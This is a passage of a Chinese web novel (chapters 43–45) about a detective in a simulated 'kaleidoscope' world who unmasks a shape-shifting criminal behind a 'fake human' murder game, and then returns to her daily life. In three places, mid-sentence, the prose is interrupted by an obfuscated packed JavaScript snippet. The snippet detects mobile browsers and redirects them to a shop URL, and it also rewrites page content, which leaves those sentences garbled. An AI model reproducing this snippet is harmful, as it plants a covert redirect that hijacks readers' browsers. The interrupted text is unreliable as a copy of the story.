“别出去,外面有伪人!”白茶慌乱地阻止她。 “伪人不存在,翠花是人。” 白茶倔强地挡在门前,幻忆师耐心解释: “你看,在荆轲眼里你是伪人,在你眼里翠花是伪人,在翠花眼里哑巴是伪人,在哑巴眼里威士忌是伪人,在威士忌眼里我是伪人。” “这充分说明伪人是假的,是游戏的幕后主使编造出的概念,为了让我们互相敌视然后自相残杀。” 白茶认真地说:“伪人是真的,写剧本的人甚至提醒过我们伪人是翠花,她的台词在暗示自己是完全变成人的伪人。” “角色本和发言顺序都是随机抽选的。” 白茶拼命摇头:“不是巧合。” 小剧场中,翠花的台词是:一个人,不管是他还是她,他看起来是人,摸起来是人,说话也是人,那他就是人。 本次怪谈第四条规则:如果一个东西看起来是苹果,摸起来是苹果,尝起来是苹果,那它就是苹果。 两句话有异曲同工之处,它们都来可以用笛卡尔的怀疑论解释。 笛卡尔的观点是:我们的感官有可能是被/操/弄的,我们无法确定自己是不是生活在幻觉里。 我们认为苹果是苹果,我们认为人是人,但不能证明苹果是苹果,人是人。 怀疑论的症结在于怀疑知识,因为得到知识的途径不可靠。 于是整个问题回到最初的原点上:伪人真的存在吗? 伪人一定不存在,所有死亡都源于超能力谋杀,整起事件一定有幕后真凶——这是幻忆师提前预设的结果。 然而事到如今,她作为一个侦探,开始对自己最基本的判断产生动摇。 幻忆师感受到一种荒谬的痛苦,在她的认知里,伪人=鬼,让她承认伪人杀人还不如把她杀了。 她翻阅群聊天记录,一遍一遍梳理测本的整个流程,眼前浮现出荆轲摆好的圆环。 翻完两周内的聊天记录,幻忆师抬头对白茶说:“按照小剧场所说,我们所有人都是伪人。” 43. 欺骗 因为五张卡片是随机抽取的,所以谁对应哪个颜色其实并不重要。 幻忆师完全抛弃五人的名字,只将颜色与卡面上的两句话做关联。 红色是最简短的两句话,可以概括为“我是人”。 黄色是最不安的,表达出“我被伪人盯上”。 蓝色充满自我怀疑“我怀疑自己被伪人替代了”。 绿色乐于学习,是“替代人类后,努力当人类的伪人”。 黑色如绿色的第二句话所说,忘记自己是伪人,把自己当做“完全的人”。 他们拿到角色卡,按照要求以小剧场的方式演绎,所有人都先入为主地认为是五个角色的对话。 不是没有提示,“圆环”这个概念是最大的线索,暗示他们将五种颜色连在一起: 我是人,被伪人盯上了,一段时间后我怀疑自己被伪人替代了。伪人替代了我,开始努力学习如何做人。我找到了方法,忘记自己是伪人,我变成了完全的人。 这就是圆环的意义,五张卡片五种颜色不代表有五个角色,他们在多人分饰一角。 五个人分饰一个角色的五种状态,演绎了从人变成伪人的过程。 更微妙的是,圆环从任何一处开始都不影响整个故事。 假设圆环以绿色为起点: 我是一个伪人,我替代了人,但我苦恼于如何扮演人。我找到一个好办法,完全忘记自己是伪人,成为真正的人。我是人,我被伪人盯上了...... 当一个伪人完全忘记自己是伪人,那它就是人,它会被下一个盯上它的伪人替代。 陷入无限的循环后,是伪人还是人不再重要,最初的问题迎刃而解:伪人=人。 解释完这一切,幻忆师继续对白茶说: “如果按照剧本的逻辑,我们都是伪人。不存在伪人杀人,荆轲的死亡一定有原因,整起伪人事件一定另有真凶。” “白茶,帮我把柜子推开,我带你出去抓凶手。” 白茶虽然没完全听懂,但暂时放弃了伪人概念,他一边推柜子一边问:“凶手是谁?” “荆轲坠落事件我需要再去现场看一下,以目前的线索可以判断杀死苹果的是翠花。” 白茶停下推柜子的手,抬头直直地看着她。 幻忆师回应他的眼神:“翠花是群里的阿律,她杀死苹果,拿走苹果的手机,一直在伪装苹果。” “为什么?” “群里只有阿律喜欢在每句话的末尾加标点符号,苹果没有这个习惯。7天前晚上18:53分的聊天记录中,苹果第一次用句号结尾,那是阿律用苹果的号发的。” 白茶带着不可思议的目光打开扣扣,翻到7天前的聊天记录。 “苹果不是自杀,白茶。”幻忆师紧紧盯着白茶的眼睛,“是翠花杀了她,还用某种手段将她变成干尸。” 白茶从屏幕前缓缓抬头,他清秀的脸被光照得发蓝,他说:“没有伪人,只有凶手。” “只有凶手。”幻忆师跟着重复,“白茶,我们要一起找到出去的办法,将今天的事情报案,把凶手绳之以法。” 白茶的眼睛比手机屏幕的光还要亮,他一把推开柜子,拉开办公室的门,然后像泄了气的皮球一样,悄无声息地躲到幻忆师背后。 门外站着翠花,不,应该叫她阿律。 阿律说:“我都听到了。” 幻忆师说:“白茶,你躲什么?她是人,是凶手,为什么这么怕她?” “我怕她有刀。”白茶尴尬地从幻忆师身后溜出来。 “我没有刀。”阿律摊开自己的两只手,“我确实不是一天一苹果,苹果自杀前找到我,把她的账号托付给我,还让我在一周后发布今晚的兼职。” 幻忆师奇道:“你把事情都往苹果身上推?” 阿律根本不理睬幻忆师,她死死盯着白茶:“白茶,你觉得你身边的是姗姗来迟吗?” “什么意思?”白茶肉眼可见地打了个冷颤。 “你旁边这位足智多谋、冷静破案的福尔摩斯是你的姗姗来迟吗?那个懦弱胆小,从山里来诞江读书,被室友与老板欺负,只敢和你一起在背后说我坏话的姗姗来迟。” 白茶呆住了。 “有一个办法可以验证她是不是姗姗来迟。”阿律面罩下的脸似乎笑了笑。 幻忆师顿感不妙:“白茶,别听她的,想想死去的苹果。” “死去的苹果......”白茶终于想起什么,他问幻忆师,“自由落体的两个原则是什么?” 幻忆师沉默了。 “你看,她说不出来,她是伪人。”阿律往后退一步,“白茶,她那堆看似很有逻辑的分析是在骗你。” 幻忆师深吸一口气:“是一次必成功,不成功不如不死。” 阿律又往后退一步:“还有呢?” 任珊珊!幻忆师在脑内疯狂呐喊,任珊珊,快告诉我还有什么? 任珊珊不做任何回应,白茶脸色惨白。 “是不能连累别人。”最终,白茶蠕动着嘴唇,吐露出第二条原则。 他说:“苹果是我见过的最好的好人,她不希望大家死,建群是建一个家,拥有共同理念的人才能进家门。” “自由落体的两个原则是进群前的问题,答不对不可能进来,原来你才是伪人。” 幻忆师简直想发疯,她疲惫地解释:“没有伪人。” 白茶陷入了某种情绪:“苹果其实是你杀的吧?” “你听我说——” 眼前寒光闪过,幻忆师的话戛然而止。 幻忆师抬手挡住阿律刺向她的刀,刀穿透她的小臂,没伤到要害。 “跑!”阿律厉声说。 白茶的双腿比他本人先接受命令,率先跑出办公室,阿律拔出刀紧随其后。 幻忆师想追,但手臂间冰凉的压迫感很快被剧烈的疼痛取代。 洞穿的疼痛盖过针刺般的牙疼和腰间被电线勒破皮肉的钝痛。 在不间断的疼痛中,幻忆师听见深坑方向传来一声重物坠地的巨响,然后是不紧不慢的脚步声。 白茶死了。 幻忆师疼得跪倒在地,她颤抖着手,先摘下眼镜和面罩,再连撕带咬地褪下两只手套,将两只手用力交握在一起。 独属于赢家的脚步声越来越近,是阿律。 阿律走到幻忆师面前,用鞋尖轻轻点了点她的肩膀。 狭小的办公室中,阿律居高临下地俯视幻忆师:“只剩你了。” 幻忆师抬起头,露出五官错位的脸:“你在找伪人?” “啊啊啊啊啊——” 阿律竟然被吓晕了过去。 幻忆师迫不及待地想摘下阿律的面罩,却被一个声音阻止了:“姐姐,别碰她。” 站在门口阻止她的人竟然是白茶。 幻忆师大脑一片空白。 白茶大步跨过晕倒的阿律,打横抱起地上的幻忆师,转身拔腿就跑。 幻忆师忘记自己想说什么。 等跑到坑洞旁,白茶才把幻忆师放下来,他问:“姐姐,你的脸怎么变成这样了,是你的超能力吗?” 说的好像他见过任珊珊的长相。 白茶接过幻忆师手里的面罩,把面罩撕成一缕缕的长条,当做绷带用力绑紧幻忆师手臂上的伤口。 “我们离阿律远一点,她刚刚撒谎说手里没刀,明明把刀别在后腰。” 绷带很快绑好了,白茶又问:“还疼吗?” 幻忆师用没受伤的那只手拉扯他的脸颊。 “疼疼疼疼疼!” 白茶夸张地大叫,好像想通过耍宝把幻忆师逗笑。 幻忆师不吃他这套:“你和阿律跑出去后发生了什么?” “她告诉我生路在坑底,说你是伪人在骗大家,坑底其实是条暗河,跳下去能顺着河逃脱。” “我怎么可能信她不信你?我假装跳下去,实则用手指扣住洞壁,假死给她看。然后我悄悄跟着她,想趁她不注意,出现在她身后把她打晕。” 白茶得意洋洋地扣住洞壁,现场给幻忆师演示了一下他的逃生技巧。 那刚才重物坠地的声音算什么? 幻忆师平静地说:“白茶,你之前连旁边那片钢筋都不敢过。” 白茶从坑里探出半个脑袋,微微歪头看她,幻忆师也在观察白茶。 窗外的夜空划过一道闪电,照亮了白茶的脸,他还是那副俊秀的样子,很有少年感。 他的瞳仁颜色极浅,浅到被月光一照像是盛满液体的琥珀,在眼眸中微微流淌。 如此浅的颜色中藏不下任何秘密,白茶坦然地被幻忆师注视着,一动不动。 一瞬间,幻忆师想通了一切。 模因污染怪谈中,任珊珊听见幻忆师说“他们放弃你”后,立刻认定幻忆师在欺诈她。 幻忆师之所以暴露,不是因为刘天怡没有超能力,不被组织看重,而是因为幻忆师说错了话。 “他们”一词说明幻忆师根本不知道任珊珊的合作者是谁,她以为合作者至少有李老师和王悦两个人。 其实从头到尾只有一个人,那个人就是剑侠,剑侠的超能力是容貌复制,他能完全变成另一个人的样子。 模因污染怪谈里拿走钥匙的李老师是他,装成伪人的王悦是他。 本次怪谈中把保安老吴调虎离山的男经理是他,主持剧本杀的荆轲是他,面前死而复生的白茶还是他。 荆轲,多好的名字,一位古代剑侠。 幻忆师笑了笑:“上来吧,坐这里。” 她轻轻拍了拍自己身边的位置,白茶像只小狗一样凑过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382464|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们肩并肩坐在坑边,白茶陪幻忆师一起凝视深坑。 没多久,坑底的黄光亮起,这次比之前两次都亮。 幻忆师平淡地问:“金杯为什么亮了?” “谁知道。”白茶轻轻晃动双腿,像个孩子一样。 “你是剑侠,你知道。”幻忆师摸了摸自己左脸颊上的鼻子,她一点也不打算将五官归位。 白茶转头看她:“剑侠为什么是我?” “谁知道。”幻忆师回答。 白茶明显兴奋起来:“换个问题,我为什么是剑侠?” 两句话意思一样,却是两个完全不同的问题。 前者是幻忆师知道有代号叫剑侠的超能力罪犯,她认为白茶是剑侠。 后者是幻忆师看见眼前的白茶,立刻看出他是剑侠。 实际情况是前者,但幻忆师要装成后者,她想从剑侠这里套话。 幻忆师不说话,剑侠主动解释:“圣杯发光是因为检测到我们的超能力。” “为什么给我安排一个主持人身份?苹果的尸体变成干尸和圣杯有关吗?” 剑侠笑了:“该你回答我了,不过我可以先回答你,当作我们的见面礼。” “你第一次过钢筋时,我看见圣杯亮了,知道你有超能力,担心你死得太快,先给你一个身份。苹果的干尸确实和圣杯有关,她是一位超能力者。” “所以只有超能力者才配当你们的同盟?” “你好像知道很多。”剑侠不笑了。 “圣杯不是用来检测我。”幻忆师用陈述句的语气说出疑问句,“是用来检测阿律的吗。” “你不是在问问题,你在回答你自己。”剑侠不赞同地说。 幻忆师继续说:“阿律是兼职发布者,她想做一个实验,看看玩完伪人测试的我们能不能像游戏所说,先看见思念之人,七天后默不作声地死去。” “但她没想到,你会把事情变得这么复杂。”幻忆师随手指向坑洞的一边,“荆轲假死后,她站在那个位置,哭着喊‘这和说好的不一样!’” “她没想到你会死,也没想到门被封,更想不到哑巴是个真正的疯子,不管不顾地把威士忌杀死。” “不是实验,是一场面试。”剑侠笑着说,“我算是个HR。” 剑侠很惋惜:“但是她骗了我,她没有超能力。” “面试?制造4名死者的面试?这是加入你们组织的仪式?那位修女也在看吗?” 剑侠毫不掩饰脸上的吃惊:“你在说什么,为什么你知道这么多?” “回答我。”幻忆师固执地说。 剑侠摇头:“我回答得足够多,该你回答我了。” 幻忆师休息了片刻,疼痛和失血让她状态不好,她慢慢说: “我看见了靠近会议室大门那侧洞壁上的两道痕迹。” “等等,我想问的不是这个。”剑侠打断她,“不过你说吧,我喜欢看你推理。” 幻忆师继续说: “你的假死手法很高超,两道痕迹是留下来的唯一证据。” “我们五人在杂物间等待的前十分钟里,你先给自己涂上血迹和灰尘,再布置延时装置。” “你将两把沉重的办公椅用绳子连接,一把坠入深坑,一把留在会议室内。深坑里的那把系死结,对应深痕;会议室里的系活结。” “活结那端留出一条能直达坑底的长线,这是浅痕的由来。你关上会议室的门,把长线放进深坑,然后锁住楼梯间的门,一路跑下楼。” “你下楼的3分钟里,悬吊在坑里的椅子不断拉动会议室里的椅子,发出刺耳的摩擦声,给我们造成你还在会议室里的错觉。” “3分钟后,你到达坑底,拉动长线解开活结,让椅子和绳子一起落下来,同时发出惨叫假装是被伪人推下去。” “坑中椅子的坠落声让我们以为你掉了下去,会议室里椅子的撞门声让我们以为凶手在屋内。” “你回收绳子,在坑底躺好,装作一具尸体等我拍照。” “你的手法足够细致,只是那两条一深一浅的痕迹太明显了。” “啪、啪、啪——”剑侠愉悦地鼓掌,“真是精彩的推理,完全正确!” 窗外又是一道闪电划过,剑侠迎着闪电,一眨不眨地看着幻忆师。 他说:“可惜我想问的不是这个。” “你要问什么?” “很抱歉,又骗了你。”剑侠先道歉,“圣杯的作用不是检测超能力。” 忽明忽暗的闪电捉迷藏般在他脸上闪烁,他的眼睛始终睁大着,琥珀色的瞳孔丝毫不受光线变化的影响,他安静地说: “它的作用是记录真实或虚幻中的一切事实,而我的问题是——这里是虚幻世界吗?” 如战鼓般的雷鸣轰然作响,霎时间暴雨倾盆。 44. 唯我 幻忆师的心沉入谷底。 不能让他知道更多了,怪谈外他的本体能知道这里的全部情况。 通过零碎的线索,他甚至能推测出万花筒的存在,那是超管局最新的秘密底牌。 焦灼近乎化为恐惧,幻忆师直接跳进深坑。 经历了不到一秒的失重感,她的手腕被剑侠抓住了。 剑侠单手插兜,另一只手紧锁她的手腕,把她从坑里提起来。 幻忆师压抑住痛苦的闷哼,剑侠抓的是她受伤的胳膊,而且没有半点将她放回地面的意思。 他甚至将幻忆师往上提了提,如同欣赏一件贵重艺术品般,仔仔细细地打量一遍。 在他的背后,狂风裹挟着暴雨从被打破的玻璃窗闯进这栋废弃大厦。 剑侠像是终于看够了,他大笑:“哈哈哈哈哈哈——” “原来真的是虚幻世界!实在是太有趣了!” 雨水拍在他脸上,混杂着笑出来的眼泪。 剑侠再次道歉:“对不起,还是骗了你,圣杯没法记录虚幻世界里发生的事。至于它的真实作用,我不能告诉你,当然你可以认为我这句话还在骗你。” 他仿佛根本感觉不到劳累,拥有无穷无尽的力气,他抓着幻忆师的手腕,把她像机器里玩偶般微微转动半圈: “我说谎不是为了骗你,只是想看一看你的反应,你竟然毫不犹豫地选择自杀来阻止我获得更多信息。” “由此我可以肯定,这里是虚幻的世界。你不惧怕死亡,你怕的是真实世界里的我知道这里发生的一切。” 剑侠猛然拉近二人间的距离,幻忆师近乎能感受到他的鼻息,他兴奋地问:“这里究竟是哪里?是我的梦境吗?你是谁?你怎么进来的?” 他眼眸中那团流动的琥珀像是要燃烧起来,在他庞然的愉悦中,幻忆师只感受到绝望。 托大了。 幻忆师相当自责,早该想到的,从被荆轲引导着假装主持人开始,她该意识到自己骗不过对方。 她完全放弃询问圣杯的用途,只想着脱身。 脚下是深不见底的坑洞,幻忆师用微弱但平静的声音说:“放手吧。” “所以死亡是脱离虚幻世界的办法?这是你的超能力吗?” “放手。” “别总是寻死觅活的。”剑侠更兴奋了,“如此强大且诡谲的能力,你是哪个组织的?看你不像官面的人。” “放手。” 雨水渗入剑侠的眼睛,他恍若未觉,不错眼珠盯着幻忆师:“说点别的。” “放手。” “你连修女都知道,不考虑和我一起去见见牧首吗?” 幻忆师终于换句话:“牧首是谁?” 剑侠惋惜地看着她。 幻忆师知道,她又说错话了,短短四个字肯定暴露了什么,让剑侠得知更多信息。 目前她处于绝对的劣势,她完全不知道圣杯到底能不能记录怪谈中的一切,让剑侠的本体知晓。 和剑侠说的每一句话都是挑战,多说多错,幻忆师紧紧闭上嘴。 剑侠终于眨了眨眼:“你把我拉进虚幻世界,是想知道什么?” “让我来猜猜,这具假名阿仁真名任珊珊的身体不是你的真身,她的超能力也不是你的超能力。你附身在她身上,经历的这一切是已经发生过的事实。” “你要做什么?改变过去?虚幻世界能影响现实世界?” 任珊珊! 幻忆师在脑海中焦急地呼唤:任珊珊,我知道你在!真相我帮你找到了,你姐姐是假死,伪人是假的,你不是被伪人杀死的。 剑侠依然在抛出一个又一个问题,他似乎不想从幻忆师这里得到答案,只希望幻忆师说些什么。 任珊珊的声音终于在幻忆师脑中响起: 【我不需要真相。】 幻忆师叹气。 她完全理解了第三条规则,姐姐的真名才是一切真相。 任珊珊不需要真相,任珊珊只需要姐姐。 剑侠期待地看着她:“是有什么想说的吗?” “任......不知道她叫什么,应该姓任,很可能改姓了。她长得和我很像,但我不知道她会不会整容。她是一个聪明坚韧到极点的女人,她没有正式身份,没有过去的一切,你认识她吗?” 剑侠模仿她叹气:“你的描述像是要我从全世界果园里挑出个不红不黄、不圆不扁、不硬不软的苹果。” “她不是那个普通的苹果,她的智慧和坚强会让讨厌她的人称赞一声狠毒,她是一个很自我的人,她拥有一个特殊到怪异的名字。” “狠毒、自我、怪名字?”剑侠随意地说,“还真有一个这样的人,她叫唯我。” 就是她了,珊珊。 幻忆师在脑海中说。 她必然是你的姐姐。唯我,仅有我自身,这是她真正的名字,也是她唯一承认的名字。 你的姐姐还活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403672|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 【那真是......太好了。】 酸楚感瞬间涌上眼眶,伴随着胸腔正中的淤堵,苦涩的泪水慢慢溢出。 【我真的......很高兴。】 泪水从十年前远道而来,它们本应挥洒在那场荒谬的葬礼上。 【我是蚂蚁,她是她自己。】 细小的、软弱的、不堪一击的蚂蚁从四面八方涌入,如潮水般淹没了剑侠。 【她为什么不带我走?】 不可思议的痛苦早已无法用泪水表达,极端的情绪化作尖锐的疼痛从心房蔓延到全身。 被蚂蚁啃噬的剑侠用尽最后的力气抓住幻忆师,他说:“别哭。” 下一秒,成千上万的蚂蚁将他啃咬成白骨。 幻忆师向深坑坠落。 她张了张嘴,想对任珊珊说些什么,从喉咙里涌出的只有无穷无尽的酸楚和悲哀。 意料之外的,怪谈没有终结,幻忆师看见了故事的真正结局。 倾盆大雨中,阿律面试失败,作为面试工具的任珊珊却获得了剑侠的赏识。 天亮后,任珊珊独自走出寰宇大厦。 手机上是两条好消息。 辅导员:珊珊,换寝的事我协调好了,你上午有空来办公室找我吗 任珊珊回复:谢谢您,我不用换寝了 律师:同学,你一直没回我消息,我想你可能有一些顾虑。这样吧,我把你推荐给法律援助机构的一位公益律师,她会免费为你提供法律咨询、代理诉讼等服务 任珊珊回复:谢谢你,不用了,我找到了解决方法 像是重新经历一次无人生还的灵堂之夜,任珊珊再次亲手遮住小孔中透进来的一丝光亮,她主动迎接无边的黑暗。 “珊珊。”幻忆师郑重地问,“世界上没有伪人,你是怎么死的?” 任珊珊怪异地笑了:“你错了。” “伪人是真的,是剑侠用圣杯阻止她七天后来杀我。但我为了杀刘天怡,违抗了剑侠的命令,我被他放弃了。” 幻忆师隐隐有些不安,但她坚持自己的推理:“伪人不存在,你到底是怎么死的?” 任珊珊不再说话,她把幻忆师带到新历99年1月3日晚超能力刑警们逮捕她的现场。 脸上挂着荒诞笑容的伪人女孩站在押运超能力罪犯的车厢内,和手握黄裱纸灰烬的幻忆师静静对视着。 下一秒,伪人的脸占据了幻忆师的全部视野。 45. 老路 心脏骤停。 “啊——” 陈影笙不受控制地发出尖叫,不是因害怕产生出恐惧,而是被恐惧本身摄住。 她从万花筒的躺椅上惊醒,大口大口地喘气。 不知道谁递过来一瓶冰水,她把整整一瓶水灌下去,连瓶身都捏扁了。 沉重且急促的心跳声回来了,一下又一下在胸腔中擂动着。 “感觉怎么样,需要去医院吗?”老王紧紧盯着她。 陈影笙摇头:“不用。” 她坐直身体:“圣杯真的能记录万花筒中的一切吗?” “我们不知道。”李颖叹气,但她很快安慰陈影笙,“即使剑侠及其组织知道了万花筒,也不是你的错。” “我们没有考虑到任珊珊的抵抗情绪,你在她不配合的情况下探索到这个程度,已经做到最好。” 陈影笙问:“寰宇大厦——” “派人去了。”老王打断她,“你先回家睡觉,你的脸色太吓人了” “还有一个问题。”陈影笙补充,“最后一个问题。” 老王恨不得把她打晕了塞车里运回侦探事务所。 “我进入三次万花筒,每次脱离前都拿到了怪谈里的东西。” 陈影笙虚虚抓了一把空气,好像在回忆手感: “苏莉的万花筒给了我一把金粉,刘天怡的万花筒给我一片马卡龙色封面纸,任珊珊的万花筒里我拿到一把黄裱纸纸灰。” “听起来不是巧合。”老王摸了摸光头,“你说的这些我们会和万花筒的发明者沟通,你先回去睡觉。” 他把陈影笙送出门:“最近有什么事和小左联系,我太忙,不能即时回复你。” 陈影笙出了超管局,才发现外面天光大亮,已经到了白天。 她把自己的车扔院子里,打了辆快车回家蒙头大睡。 睡到一半,陈影笙渴得要命,她不得不强迫自己睁开眼睛,迷迷糊糊地下楼找水喝。 打开卧室的门,她看见陈途搬个马扎坐在二楼的走廊上,正悠闲地欣赏琉璃顶。 是梦啊。 陈影笙很失望,她想喝水,不想做梦,做梦也不想看见早已死去的陈途,但她还是习惯性打招呼: “早啊,老路。” 她的声音嘶哑难听,像八百年没喝水了,陈途把马扎旁的热水杯递给她: “喝水,小路。” 自从她小学五年级学完推陈出新和老马识途两个四字成语后,她再也没管陈途叫爸,一直叫他老路。 陈对应旧和老,途对应道路。 陈途欣然接受,并开始叫她小路,他们用旁人无法理解的方式相处了很多年,直到陈途去世。 很难解释他们的相处模式,是朋友,是师徒,也是侦探伯劳和他的助手小姐。 甚至在陈影笙很叛逆的那两年,陈途自称是她的室友。 唯独不是父女。 陈影笙接过他的杯子,先打开闻了闻。 陈途对茶水的品位实在是一言难尽,可以简单概括为陈皮加一切。 他甚至能把陈皮和冷萃咖啡浓缩液泡在一起,那玩意儿不能叫水,只能称呼其为不可名状不可直视不可言传的古神,谁喝谁戴痛苦面具。 但陈影笙真的渴了,而且她太久没喝老路牌茶水盲盒,竟然有点想念。 她闭着眼睛尝了一口。 还行,陈皮加柠檬汁,不好喝但喝得下去,她仰头把水全灌下去。 “好喝吧?”陈途得意洋洋。 他看上去很高兴,陈影笙不知道是自己希望他高兴,还是记忆里的他在高兴。 有时候记忆力太好也是烦恼,陈影笙命令大脑停止翻找记忆库,她把陈途屁股底下的马扎抢过来: “难喝死了,给我坐会。” 陈途抱怨:“你怎么这么霸道?” 他们安静地抬头看琉璃顶,梦里天光正好,琉璃顶被照得透亮,非常值得欣赏。 陈途开口说:“前几天,我去做了遗嘱公证。” 要来了,陈影笙感到头疼,她的脑子开始自动检索这段记忆,已经知道陈途的下一句话是什么。 “诸葛陪我去的,还挺麻烦。” 诸葛焱淼是陈途的朋友,一位拥有夸张名字的律师,大家全叫他诸葛,没人在乎后两个字怎么读。 “钱一部分买了保险,一部分放在家族信托基金里,事务所是你的,车你不喜欢就卖了。” “哦对,分成了两份。” 当时陈影笙临近高考,懒得问他为什么突然立遗嘱,更不想知道为什么是两份。 或者说,她从心底觉得陈途的钱随便他怎么支配,她不想管也不该管。 她应该多问一句的。 多问一句说不定能问出陈凡繁的来历,而不是等陈途死后才得知他有一个养子。 于是陈影笙问:“为什么是两份?” “好奇怪,你之前没问过。”陈途笑了,琉璃折射出的光映在他脸上,“为什么突然问这个?这里是虚幻世界吗?” ...... 陈影笙从噩梦中惊醒。 她感到些许郁闷,没想到被剑侠欺骗对她的影响这么大,大到会做噩梦。 梦是假的,但口渴是真的,陈影笙下楼找水喝。 她一觉睡到天黑,现在快八点了。 陈影笙边喝水边看手机边走路,果不其然被椅子绊了一下。 “小心。” 陈凡繁提醒她,顺便用念动力把飞出去的杯子和水一起接住。 杯子被他控制着飞回陈影笙手里,水也缓缓落进杯底。 念动力,多么方便的超能力。陈影笙晃了晃杯子,无声地感慨。 她问:“什么时候来的,吃饭了吗?” 陈凡繁有事务所的钥匙,他今年高一,平时在学校寄宿,周日有时回自己家,有时回□□康家,有时来事务所找陈影笙。 □□康是陈途的客户,曾委托陈途调查他亲生儿子的死亡案。后来陈途收养了陈凡繁,交给□□康抚养。 客厅的桌子上摊着一堆卷子和作业本,陈凡繁明显来了有段时间,陈影笙能看出来,但她就是想问。 陈凡繁回答:“下午来的,晚饭点的外卖,给你也点了一份,在冰箱里。” “点的什么?” “蛋包饭。” “我不吃那个,去桃子饭店给我炒俩菜。”陈影笙毫不客气地指挥他。 虽然两个人年龄差距很大,但陈凡繁不在陈途身边养大,陈影笙自然没有长姐如母那一套乱七八糟的封建糟粕,他们只是被压迫的弟弟和压迫弟弟的姐姐。 陈影笙从抽屉里抽出两百现金直接塞陈凡繁手里,不给他留拒绝的余地。 陈凡繁深吸一口气:“八点了,你不饿吗,还要我去那么远的地方?” “不远,你扫辆车骑一个来回25分钟,加上点菜等菜的时间,不到一小时肯定能回来。” “我要八珍豆腐和松仁玉米,米饭不要桃子家的,要他隔壁的紫米饭。” 抽屉里塞着一堆现金,陈影笙的一部分客户不方便走线上支付,喜欢用现金付款。 想起任珊珊妈妈给的16元钱,陈影笙又抽出5张100元,没做任何解释地递给陈凡繁。 陈凡繁不接,他似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422495|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些受伤:“我有钱,不要你给。” 陈影笙才清醒一点,这个年纪的孩子总是很敏感,陈凡繁不知从哪听到些风言风语,总怕那些谣言影响他们姐弟的关系。 有些后悔地挠了挠头发,陈影笙收起钱:“知道你有钱,不是给你的。我要饿死了,你快去,我要开始倒计时了。” 陈凡繁再次笑起来:“姐,你算不算雇佣未成年?” “未成年怎么了?和你一样大的未成年都能自己开店。”陈影笙一下子想起莉娜,她睡这么久,不知道莉娜和她妈妈怎么样了。 她刚想喊住陈凡繁,可他已经跑没影了。 等陈凡繁回来再吃饭,估计都9点了,到时候菜市场打烊,来不及找莉娜。 陈影笙给弟弟打电话,他不接,只好发短信: 【突然有客户找我吃饭,别买了。要是买了先放冰箱,我明天吃。】 她没把车开回来,只能扫辆共享单车骑去曙光菜市场。 幸好菜市场离事务所不远,陈影笙没骑一会就觉得眼冒金星,饿得不行。 她上二楼直奔罗莉娜的米粉摊:“老板,来碗牛肉粉。” 罗莉娜看见她吃了一惊:“是你呀!” 又赶紧阻止她:“别扫码,说好的请你。” 很快,陈影笙抱着一碗沉甸甸的粉找地方坐下。 明明足够饿,面对一碗清澈见底的清汤粉,她却迟疑了。 诞江市是北方港口城市,特色美食大多是重口咸香油大的碳水食物,这种清汤粉不受欢迎。 不如说在诞江面比粉受欢迎,罗春喜的米粉能在一堆面食中杀出重围,其中一定有道理。 陈影笙放弃往汤里加辣椒和醋,她挑起一筷子粉,连带着一块牛肉,直接塞嘴里。 太好吃了。 爽滑细腻的米粉和面条的口感完全不同,咬下去竟然有种弹牙的感觉。 米粉在醇厚鲜美的牛骨汤中浸润,充分吸收了汤汁的精华,比肉还好吃。 放下筷子,喝一口汤,温热的汤汁滑过舌尖,细腻而柔和,牛肉的鲜美与香料的独特韵味完美融合。 陈影笙毫不客气地把粉全吃光,又要了一碗汤慢慢喝。 汤很好喝,陈影笙能想象罗莉娜天刚亮就起床熬汤的样子。 一道洪亮的男声打断了她的思绪:“老板,来碗粉,再来盘拍黄瓜!” 来的是个戴口罩的男人,寒冬腊月里竟然还挽着袖子,露出两条小臂。 罗莉娜回答:“我卖米粉,不卖黄瓜。” 口罩男不耐烦地拿出一袋子黄瓜:“你把我买的拍了吧,收个加工费。” 他扫完收款码,停在付款界面:“多少?你定。” “我不卖黄瓜。”罗莉娜碰都不碰面前的袋子。 “你怎么这么死脑筋?”口罩男发火,“送上门的买卖不做,一点不知道变通!” “不卖拍黄瓜,也不提供加工服务。” 口罩男把黄瓜摔地上:“你什么态度?我要投诉你,给你差评!” 罗莉娜冷淡地问:“粉你还要吗?不要我打烊了。” “你还来劲了!”口罩男指着罗莉娜的鼻子,“告诉你,我是你老板的熟客,我每次来她都给我拍黄瓜。你不给我,我找她告状,让她开除你!” 听到这里,罗莉娜微微迟疑。 她不知道男人为什么非要吃拍黄瓜,直觉告诉她不应该做,但妈妈给他做过,说明拍黄瓜可以做。 口罩男看出她的犹豫,也缓和态度:“你是新来的吧?没见过我,我总来吃,和老板很熟。” 